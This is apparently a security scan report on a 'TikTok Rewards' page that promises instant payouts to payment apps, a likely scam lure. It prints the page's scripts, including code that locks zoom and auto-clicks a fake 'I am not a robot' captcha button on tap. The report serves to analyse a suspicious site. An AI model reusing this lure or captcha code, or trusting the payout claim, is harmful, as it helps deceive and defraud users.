corporate

English

__vdpl

The domain 'br1-omega.vercel.app' uses the application-focused generic top-level domain (.app); it also runs on subdomain 'br1-omega'. Count 6 characters in 'vercel' split between 2 vowels and four consonants. Splitting it apart reveals 2 words: ver, cel. Median word length is 3 characters. No strong language cues emerged from the frequency lists.

appId=cid-v1:a894a21c-0197-44e5-b203-3cbc01252c82

default-src 'none'; script-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data: https://upload.wikimedia.org/favicon.ico; connect-src https://upload.wikimedia.org/favicon.ico; media-src data: 'self'; object-src 'none'; worker-src 'none'; manifest-src 'none'; base-uri 'none'; form-action 'none'; frame-ancestors 'none'; report-uri https://commons.wikimedia.org/w/api.php?reportonly=1&source=image&action=cspreport&format=json; report-to csp_endpoint

inline; filename="2560px-TikTok_logo.svg-3929532568.png"

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/images-tbn

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

appId=cid-v1:a449a586-8786-487f-a449-dc1b282a2628

TikTok Rewards

1b13387cb23dc39bf70e31677c21f6db5cad3377b96f286b6ee444496e5bfea7

cfc664940c809d0d610835d57003a9b32d076c5baba05fcc36550f7e48a2d12d

4fb9873620c099cc4ea272b0b16e00db41ddc81aed36824dfc4c8c579f8775e3

9c2138faa9c0ae6a2b721791382bab8ed9c9be1aed018dac38108b818c420185

51550a6331f0748cd7eecff04bb8513cb0bd5640715b87f8d4641d145d29e606

a0c9ec01e74abc160f512d42a2f0694b7491f7885e67d86d7871a1ffc1a5a744

ef9343b17f585507f8acfb118012e71f4ea403fb325cb4a0c875d5b40824059c

f21af01192a4bb01b95e5b85433a1804dba76152b09bcf818f41ce4754741096

9772edcf165dc7ea03b4fa1b513ea65c7243316e134f5fe058ad08cd7ce63626

27c7ec332d255c6261939fe88cdad1d358beca6151b35000b9044b1b87ca7c1e

7e714aa04743c2b7e426a28fe18074b35ae8d4f53d613e069b5fd9c7b740753b

b79022e54da6b4e1f4ad388fa5247c14665cd17bfc4ceba082e88c1fbc2c0fb6

4b60079241d11a46e89ab4ac86772fcdcc96d8d94933e9484c169f4b5043c26b

38c9b6b499415a4d2231435214b8077fcab9c5afd370737cac8ac2eec238164a

417c2fa4ff8cf5e36b1797c558e99b797cf8e9a960ce8e126ccd8de6ff09efca

7acebc8f3d78e5928be375b4fd172cb3febde1c42465250db0a1f326a1ac6e50

61fef33d02957f55d93170b655b7add3a33f7abd1884c10eb01131f30f0b7426

width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, user-scalable=no, viewport-fit=cover

viewport

theme-color

author

twitter:card

twitter:title

Claim your TikTok reward and get paid instantly to Cash App, PayPal, Venmo, Zelle, or your bank.

twitter:description

https://pub-bb2e103a32db4e198524a2e9ed8f35b4.r2.dev/50f61344-3ad8-4d2a-af27-67e4acf82467/id-preview-0d81ab1f--218b5110-e9e7-4f0e-8e0a-6b9b4e3bde16.lovable.app-1782166830293.png

twitter:image

description

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Tucows

Tucows Domains Inc

vercel.app

Cloudflare, Inc.

Cloudflare, Inc

CLOUDFLARENET

(function(c,l,a,r,i,t,y){
        c[a]=c[a]||function(){(c[a].q=c[a].q||[]).push(arguments)};
        t=l.createElement(r);t.async=1;t.src="https://www.clarity.ms/tag/"+i;
        y=l.getElementsByTagName(r)[0];y.parentNode.insertBefore(t,y);
    })(window, document, "clarity", "script", "xsq5uncaoi");


(() => {
  if (window.location.pathname === "/lp/") {
    window.history.replaceState(null, "", "/lp" + window.location.search + window.location.hash);
  }

  const earlyParams = new URLSearchParams(window.location.search);
  if ((window.location.pathname === "/" || window.location.pathname === "") && earlyParams.get("__route") === "tasks-app") {
    earlyParams.delete("__route");
    const nextSearch = earlyParams.toString();
    window.history.replaceState(null, "", "/tasks-app" + (nextSearch ? "?" + nextSearch : "") + window.location.hash);
  }



  if (window.__mobileGuardInstalled) return;
  window.__mobileGuardInstalled = true;
  window.__earlyMobileGuard = true;

  const viewportContent = "width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, user-scalable=no, viewport-fit=cover";
  let lastUrl = window.location.href;

  const enforceViewport = () => {
    let viewport = document.querySelector('meta[name="viewport"]');
    if (!viewport) {
      viewport = document.createElement("meta");
      viewport.setAttribute("name", "viewport");
      document.head.appendChild(viewport);
    }
    if (viewport.getAttribute("content") !== viewportContent) {
      viewport.setAttribute("content", viewportContent);
    }
    document.documentElement.style.zoom = "1";
    if (document.body) document.body.style.zoom = "1";
  };

  const isTextField = (node) => {
    if (!node || !node.matches) return false;
    return node.matches("input, textarea, select, [contenteditable='true']");
  };

  const resetAllScroll = () => {
    enforceViewport();
  };

  const resetAfterScreenChange = () => {
    requestAnimationFrame(resetAllScroll);
    setTimeout(resetAllScroll, 60);
    setTimeout(resetAllScroll, 180);
    setTimeout(resetAllScroll, 420);
    setTimeout(resetAllScroll, 900);
  };

  const prevent = (event) => {
    if (event.cancelable) event.preventDefault();
    enforceViewport();
  };
  const preventTouchZoom = (event) => {
    if (event.touches && event.touches.length > 1) prevent(event);
  };
  const findCaptchaVerifyButton = (target) => {
    const button = document.querySelector('button[aria-label="Verify"]');
    if (!button || !document.body || !document.body.innerText.includes("I am not a robot")) return null;
    if (target && target.closest && target.closest('input, textarea, select, [contenteditable="true"]')) return null;
    const card = button.parentElement && button.parentElement.parentElement;
    if (target === button || button.contains(target) || (card && card.contains(target))) return button;
    return null;
  };

  let captchaTapLock = false;
  const activateCaptchaTap = (target) => {
    const button = findCaptchaVerifyButton(target);
    if (!button) return false;
    if (!captchaTapLock) {
      captchaTapLock = true;
      setTimeout(() => {
        try { button.click(); } catch {}
        setTimeout(() => { captchaTapLock = false; }, 700);
      }, 0);
    }
    return true;
  };
  const preventKeyboardZoom = (event) => {
    if ((event.ctrlKey || event.metaKey) && ["+", "-", "=", "0"].includes(event.key)) prevent(event);
  };
  const preventWheelZoom = (event) => {
    if (event.ctrlKey || event.metaKey) prevent(event);
  };

  const originalPushState = history.pushState;
  const originalReplaceState = history.replaceState;
  history.pushState = function () {
    const result = originalPushState.apply(this, arguments);
    lastUrl = window.location.href;
    resetAfterScreenChange();
    return result;
  };
  history.replaceState = function () {
    const result = originalReplaceState.apply(this, arguments);
    lastUrl = window.location.href;
    resetAfterScreenChange();
    return result;
  };

  document.addEventListener("gesturestart", prevent, { passive: false, capture: true });
  document.addEventListener("gesturechange", prevent, { passive: false, capture: true });
  document.addEventListener("gestureend", prevent, { passive: false, capture: true });
  document.addEventListener("touchstart", preventTouchZoom, { passive: false, capture: true });
  document.addEventListener("touchmove", preventTouchZoom, { passive: false, capture: true });
  document.addEventListener("touchend", (event) => { activateCaptchaTap(event.target); enforceViewport(); }, { passive: true, capture: true });
  document.addEventListener("wheel", preventWheelZoom, { passive: false, capture: true });
  document.addEventListener("keydown", preventKeyboardZoom, { passive: false, capture: true });

  window.addEventListener("popstate", resetAfterScreenChange, { capture: true });
  document.addEventListener("click", (event) => {
    const target = event.target;
    if (activateCaptchaTap(target)) return;
    if (target && target.closest && target.closest("input, textarea, select, [contenteditable='true']")) return;
    if (target && target.closest && target.closest("a, button, [role='button']")) {
      resetAfterScreenChange();
    }
  }, true);
  document.addEventListener("focusin", (e) => {
     setTimeout(enforceViewport, 0);
  }, true);
  document.addEventListener("focusout", () => setTimeout(enforceViewport, 180), true);
  if (window.visualViewport) {
    window.visualViewport.addEventListener("resize", () => {
      enforceViewport();
    });
  }

  new MutationObserver(() => {
    if (window.location.href !== lastUrl) {
      lastUrl = window.location.href;
      resetAfterScreenChange();
    }
  }).observe(document.documentElement, { childList: true, subtree: true });

  enforceViewport();
  resetAfterScreenChange();
  setInterval(() => {
    enforceViewport();
    if (window.location.href !== lastUrl) {
      lastUrl = window.location.href;
      resetAfterScreenChange();
    }
  }, 250);
})();


Requests	IP Address	Location	AS Autonomous System
26	216.198.79.3	United States	AS16509Amazon.com, Inc.
26	104.17.207.5Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
52	2	-	-

Security Scan Report: br1-omega.vercel.app

Summary

AI Security Verdict

Moderate Risk

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History